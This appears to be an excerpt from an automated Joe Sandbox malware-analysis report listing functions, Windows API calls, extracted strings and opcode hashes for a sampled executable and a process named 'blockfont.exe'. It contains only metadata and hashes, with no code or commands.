Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: 46ac4c6538d805899dd7c0d68e6bd2b701b7adbd5f5c2fb5644d9e660cdd8606
Instruction ID: 6e2075809308b1c545f46fd1641aeb19cab512bb7a854e6678df183597917a60
Opcode Fuzzy Hash: 46ac4c6538d805899dd7c0d68e6bd2b701b7adbd5f5c2fb5644d9e660cdd8606
Instruction Fuzzy Hash: E351B57568C700FEEB211AA8DD02F367E56EB04B00F24CA06F7DE648D5F692D5906A72

Function 00D6772B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D67730
SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00D678CC

Part of subcall function 00D6A444: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00D6A27A,?,?,?,00D6A113,?,00000001,00000000,?,?), ref: 00D6A458
Part of subcall function 00D6A444: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00D6A27A,?,?,?,00D6A113,?,00000001,00000000,?,?), ref: 00D6A489

Strings

:, xrefs: 00D677A1

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: File$Attributes$H_prologTime
String ID: :
API String ID: 1861295151-336475711
Opcode ID: 64787562eadfc653f7c7528fd715a1298141ab30c3d203c37d21fc46b11d4783
Instruction ID: 4d2c29a4925669468f646026119ca418b5b5d88335c80d4baa62ded68ab5d59e
Opcode Fuzzy Hash: 64787562eadfc653f7c7528fd715a1298141ab30c3d203c37d21fc46b11d4783
Instruction Fuzzy Hash: E3416F71804228ABEB24EB54DD55EEEB37CEF45304F00419AB649A3092EB745F88CF71

Function 00D6B66C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

UNC, xrefs: 00D6B708
\\?\, xrefs: 00D6B6BE, 00D6B6FA, 00D6B75B, 00D6B7AE

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID: UNC$\\?\
API String ID: 0-253988292
Opcode ID: 7eb958c4a422c68642043b462608f61d36f18372c6d481a4ea5b2c3964ed32cd
Instruction ID: f50f0a2418415c0d1531ff3b92acdf39411770914d7b17022cc4595fe2c65fd2
Opcode Fuzzy Hash: 7eb958c4a422c68642043b462608f61d36f18372c6d481a4ea5b2c3964ed32cd
Instruction Fuzzy Hash: 12418B35840359ABCF20AF21DC41EAB7BADEF857A0B144067F854E7252E771DAD4CAB0

Function 00D78FB6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00D78FC4

Strings

about:blank, xrefs: 00D79082
Shell.Explorer, xrefs: 00D78FEF

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID: Shell.Explorer$about:blank
API String ID: 0-874089819
Opcode ID: 73d08ea501fbeaeea30ea7a581823f133fe692c6efaabcb5259c3117638ef20d
Instruction ID: d2897b3d06e79f17a61fad0c374c4b72522d2f8e8c643abddb10f09632667053
Opcode Fuzzy Hash: 73d08ea501fbeaeea30ea7a581823f133fe692c6efaabcb5259c3117638ef20d
Instruction Fuzzy Hash: 782165722143149FDB08DF64C8A592AB7A9FF44721B14C55EF94D8B286EB70EC01CB71

Function 00D6EBF2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 00D6EB73: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00D6EB92
Part of subcall function 00D6EB73: GetProcAddress.KERNEL32(00DA81C0,CryptUnprotectMemory), ref: 00D6EBA2

GetCurrentProcessId.KERNEL32(?,?,?,00D6EBEC), ref: 00D6EC84

Strings

CryptUnprotectMemory failed, xrefs: 00D6EC7C
CryptProtectMemory failed, xrefs: 00D6EC3B

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: f6a909a268a75908105bb5cb10b035a7aa7c28fc1afb258bdbda52f3a6023cd4
Instruction ID: 2d2ec11a583f590bb7b8e8bd3ba174106ec54a7302edeec46a3157fa5f871c92
Opcode Fuzzy Hash: f6a909a268a75908105bb5cb10b035a7aa7c28fc1afb258bdbda52f3a6023cd4
Instruction Fuzzy Hash: 71115B35A04324AFDB159F39DC06A6E3B54EF01720B0A811AFC05AB395DB35AE4197F4

Function 00D70889 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,00D709D0,?,00000000,00000000), ref: 00D708AD
SetThreadPriority.KERNEL32(?,00000000), ref: 00D708F4

Part of subcall function 00D66E91: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D66EAF

Strings

CreateThread failed, xrefs: 00D708B9

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: f3aa4e61c31fab1e9968396e907e7b18e4697bcc952bc4185f86a9ce56248363
Instruction ID: 797edd4136f85ebf5427e698701765ea3debdf436cad5e3dacaffa5224f17653
Opcode Fuzzy Hash: f3aa4e61c31fab1e9968396e907e7b18e4697bcc952bc4185f86a9ce56248363
Instruction Fuzzy Hash: B00149B1344301AFD724BF54EC81F667B98EF01711F10403EFA8AA22C1DEA1B8409674

Function 00D6130B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00D6DA98: _swprintf.LIBCMT ref: 00D6DABE
Part of subcall function 00D6DA98: _strlen.LIBCMT ref: 00D6DADF
Part of subcall function 00D6DA98: SetDlgItemTextW.USER32(?,00D9E154,?), ref: 00D6DB3F
Part of subcall function 00D6DA98: GetWindowRect.USER32(?,?), ref: 00D6DB79
Part of subcall function 00D6DA98: GetClientRect.USER32(?,?), ref: 00D6DB85

GetDlgItem.USER32(00000000,00003021), ref: 00D6134F
SetWindowTextW.USER32(00000000,00D935B4), ref: 00D61365

Strings

0, xrefs: 00D6130E

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: 17c71f3e430916931e64124b4dfa28e0adf55aa30f18e611559727257fc91fa8
Instruction ID: 0611cceda27d24b29f67a87890d34dafdc66bd2c0b4693778003809ab7334525
Opcode Fuzzy Hash: 17c71f3e430916931e64124b4dfa28e0adf55aa30f18e611559727257fc91fa8
Instruction Fuzzy Hash: 9AF08C3810438DABDF250F608809BBA3B98BB25305F0C8114FD4A947B1C774C995AA74

Function 00D7084E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00D70A78,?), ref: 00D70854
GetLastError.KERNEL32(?), ref: 00D70860

Part of subcall function 00D66E91: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D66EAF

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00D70869

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: 4beeed0ac83104984b1f547c0ad96c2c221840a7c2f278483994200cf0021ecc
Instruction ID: 73506b787e667e361c96a690f03c0c376e7bb1a49830050c43a23ffaf0192cbb
Opcode Fuzzy Hash: 4beeed0ac83104984b1f547c0ad96c2c221840a7c2f278483994200cf0021ecc
Instruction Fuzzy Hash: 5BD05E31A081306BCB103B64AC0ADAF7D099F52770F248719F23DA52F6DA22495182F6

Function 00D6DA4E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00D6D32F,?), ref: 00D6DA53
FindResourceW.KERNEL32(00000000,RTL,00000005,?,00D6D32F,?), ref: 00D6DA61

Strings

RTL, xrefs: 00D6DA5B

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: b177d7e905c164584dd2b4ff94f64213ad80fa47d7965f59b955503d78ccbe90
Instruction ID: 47a4fc0496451268ecca4faf62d66d27b5df5903e102900f0a7b23d71b754faf
Opcode Fuzzy Hash: b177d7e905c164584dd2b4ff94f64213ad80fa47d7965f59b955503d78ccbe90
Instruction Fuzzy Hash: 23C0123178935077DB301B607C0DB4329485B10B11F09044DB145DA2D0D5F6C9448670

Analysis Process: blockfont.exePID: 7076, Parent PID: 5312COMMON

Executed Functions

Function 00007FFD9B8E3585 Relevance: .3, Instructions: 295COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 969f2cdd3e7a048a86fb8fe3b4ffefefd446b3798ac7b6d16da23b552d24051f
Instruction ID: 7e1649867f5782b0f5f95be69aae9346c59d3fbff3043432e8ecee9ff7e96553
Opcode Fuzzy Hash: 969f2cdd3e7a048a86fb8fe3b4ffefefd446b3798ac7b6d16da23b552d24051f
Instruction Fuzzy Hash: 82A1C471A0994D8FEB99EB68C8257ADBBE1FF5A310F5002BAD019D72E9DF7468018740

Function 00007FFD9B8EF809 Relevance: 2.6, Strings: 2, Instructions: 146COMMON

Download Yara Rule

Strings

., xrefs: 00007FFD9B8EF816
R, xrefs: 00007FFD9B8F0533

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID: .$R
API String ID: 0-3105842054
Opcode ID: 964582160915fbb67c028f2e670053954e30055f27c990ac37b0d25dfc8b3e5c
Instruction ID: f122d5888076dbeeab4b2a53bdefde13b14484f982dfbe067f612bcdcbccda1e
Opcode Fuzzy Hash: 964582160915fbb67c028f2e670053954e30055f27c990ac37b0d25dfc8b3e5c
Instruction Fuzzy Hash: 0751DA71E19A5E8FDBA8DF18CCA57A9B7B1EF58301F5101E9900DE32A1DA356E81CF40

Function 00007FFD9B8EEB95 Relevance: 2.6, Strings: 2, Instructions: 64COMMON

Download Yara Rule

Strings

}, xrefs: 00007FFD9B8EEBCC
#, xrefs: 00007FFD9B8F034D

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID: #$}
API String ID: 0-437702028
Opcode ID: c2c04a9f05cf03fb2a389f110bfa9da2f1f6e6f446a5056cb1dc232bbc04bee8
Instruction ID: 5025935d781d986a23677b3a82c1451bc3dfe6a1b9b36d78c8d828bf6a4f4b04
Opcode Fuzzy Hash: c2c04a9f05cf03fb2a389f110bfa9da2f1f6e6f446a5056cb1dc232bbc04bee8
Instruction Fuzzy Hash: 6421DB30E1952E8FDFA8EF54D8A47F9B7B1EB58301F1101BAD40D92291DB345A80CF40

Function 00007FFD9B8ECCFB Relevance: 1.4, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

wM_^, xrefs: 00007FFD9B8ECD01

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID: wM_^
API String ID: 0-505308354
Opcode ID: f669e416949e8fd1f44014ec719e52b58a345af43115434b6be7d1bd82019ba9
Instruction ID: a9e43c636774ff3a899712e623c5eb4493e1bbb2ca8412e1a7c97416d7a00486
Opcode Fuzzy Hash: f669e416949e8fd1f44014ec719e52b58a345af43115434b6be7d1bd82019ba9
Instruction Fuzzy Hash: E6512626F0E51F4AEB697BA8A8284FD7BA0EF48335F060177D51DC60E2DE64355086A0

Function 00007FFD9B8ECB99 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 213f1647c4a603cc3047089223556c63451bd776ddb555a5638a392b9ebc4b72
Instruction ID: c7980ab1916064ff799c43e20009dabf0e768f38704d6bc7c941221ee5f5d2ed
Opcode Fuzzy Hash: 213f1647c4a603cc3047089223556c63451bd776ddb555a5638a392b9ebc4b72
Instruction Fuzzy Hash: 5FF19E31E1921E8FDB64EFA8D8646EDBBB0EF49311F1100BAD049D71A2DB386A45CB50

Function 00007FFD9B8EDD49 Relevance: .4, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d63ff6c0207de6a2781c2f88aa41e83a27f134b11e36c40dd708ae6c18d3eb
Instruction ID: d8bcf1799137f66a828a39f7befd6d5fd65b978498bb932cbf06e91c9f9768d7
Opcode Fuzzy Hash: d5d63ff6c0207de6a2781c2f88aa41e83a27f134b11e36c40dd708ae6c18d3eb
Instruction Fuzzy Hash: 2FE15F71E19A5D8FDBACEB58C8A4BB8B7B1FF58300F4441B9D01DD32A6DA346944CB41

Function 00007FFD9B8E1698 Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55f0e374e2c43599ea08deac248f613bda26d5b0e1efd884442320c0def61e19
Instruction ID: 173d80a9cf389508d7184659cf9424631784ac6165a245e487a5d03e54e6603f
Opcode Fuzzy Hash: 55f0e374e2c43599ea08deac248f613bda26d5b0e1efd884442320c0def61e19
Instruction Fuzzy Hash: 4D81CF31B0DA494FDBACEF5C88615A977E2EFD8300B15057AE45DC32A6DE34AD028780

Function 00007FFD9B8F2F91 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13ee7140fd2b4200ecf84dc01dd7320334633cedf1e6e3e82bf014dadf899264
Instruction ID: bd32187c827f2d7e278c0945ad0fe58b69ff79ed7921b2c8cd3901bdce4ef8ff
Opcode Fuzzy Hash: 13ee7140fd2b4200ecf84dc01dd7320334633cedf1e6e3e82bf014dadf899264
Instruction Fuzzy Hash: 9381B570E1951D8FEBA4EB98C865BEDB7B1FF58300F5141B9D00DE7295DE346A848B40

Function 00007FFD9B8ECBCD Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0cce7eef4aa701dd8cbc828a479a81c1be7f639b06dc8e15a76ace81fee8b32
Instruction ID: efa820031bd812d22e01db43c37bd6bd5a87901419af1a42bf4d37aaba226534
Opcode Fuzzy Hash: f0cce7eef4aa701dd8cbc828a479a81c1be7f639b06dc8e15a76ace81fee8b32
Instruction Fuzzy Hash: 1C71F974E1951D9FEBA8EB98C4647ADB7F1FF58300F1140BAD44DE32A1DE346A808B40

Function 00007FFD9B8E1D0D Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec6cec5879cbe357a37f2f0526b18cd7e677309a6f96c10b1e37fc4db8f35af2
Instruction ID: 4561fef7c7713e0dd12e4ed3e9ad2bf4ba1058a78ed13f0b8921a63ecd72bba3
Opcode Fuzzy Hash: ec6cec5879cbe357a37f2f0526b18cd7e677309a6f96c10b1e37fc4db8f35af2
Instruction Fuzzy Hash: 4451D131B19A4A4FDB5CEF5888645BA77E2FFD8300B15467EE45AC7291DE34E8028781

Function 00007FFD9B8E0525 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e430bdc812bfca19db6fdffbb7088eaafd9f8919a272c4ce7a6f82ec0e90f8b1
Instruction ID: d99eda1e38da23fcc224e7cd5f89460a5cbc82dcc1bd46f74d3b38b810de8c0b
Opcode Fuzzy Hash: e430bdc812bfca19db6fdffbb7088eaafd9f8919a272c4ce7a6f82ec0e90f8b1
Instruction Fuzzy Hash: 62412747B0E1B606EB2573ADBC765E93B20DF8137A75E05B3D1DD8A0E3AC08644A82D5

Function 00007FFD9B8E31E5 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05040b40fc1ea6dc635c603d811a0c3299db4f55ae313b0840f27a3d3a90e21d
Instruction ID: b731663383b98a876d0dd6f0dbed128e0574228062556699c2081304ae45db21
Opcode Fuzzy Hash: 05040b40fc1ea6dc635c603d811a0c3299db4f55ae313b0840f27a3d3a90e21d
Instruction Fuzzy Hash: FC514930E0A51E8FEB69EB94D464AEDB7F1FF58301F41017AD009E72A5DA38AA44CB40

Function 00007FFD9B8E2125 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f544b288584022a36c6c993ba55c35d326c3484ca568ad7a2b569f579ae1b6f0
Instruction ID: 1ac00dac9436b7169cc388f6602985ac481f7806c9cd3172faa1e656699d49a6
Opcode Fuzzy Hash: f544b288584022a36c6c993ba55c35d326c3484ca568ad7a2b569f579ae1b6f0
Instruction Fuzzy Hash: B7414931B0E64E4FE769EBB888655B877E0EF4A310B0501FBE45DC71E6DE28B9418341

Function 00007FFD9B8F1F90 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 217050fd760d4c67ff0da25c5c68288eb13a8a2c64d2c85801e56f19c64d38f8
Instruction ID: 7bf938a602728b18a64dfa8db488c6af71a43502fbaf5db9a92335062b8d6d6e
Opcode Fuzzy Hash: 217050fd760d4c67ff0da25c5c68288eb13a8a2c64d2c85801e56f19c64d38f8
Instruction Fuzzy Hash: 7241CFA180E7C94FCB439B749C752D53FB0AF17214F0A40DBD488CB0A3E62C5A1AC762

Function 00007FFD9B8F2CFD Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 327de2ca3473745ce509cf442af448b7c178b4df406240d63557dbc11ed3189e
Instruction ID: 973518d4e1e427ea177b3ae07ee1bdf93c29ba8599888b8e04a171c3566d1984
Opcode Fuzzy Hash: 327de2ca3473745ce509cf442af448b7c178b4df406240d63557dbc11ed3189e
Instruction Fuzzy Hash: A0415C30E1560D8FDB58EFD8D869AEDB7B1FF48300F410179E009E72A6DE3469418B81

Function 00007FFD9B8EC5E5 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1806151207.00007FFD9B8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8e0000_blockfont.jbxd

Similarity

API ID:
String ID:
API String ID:
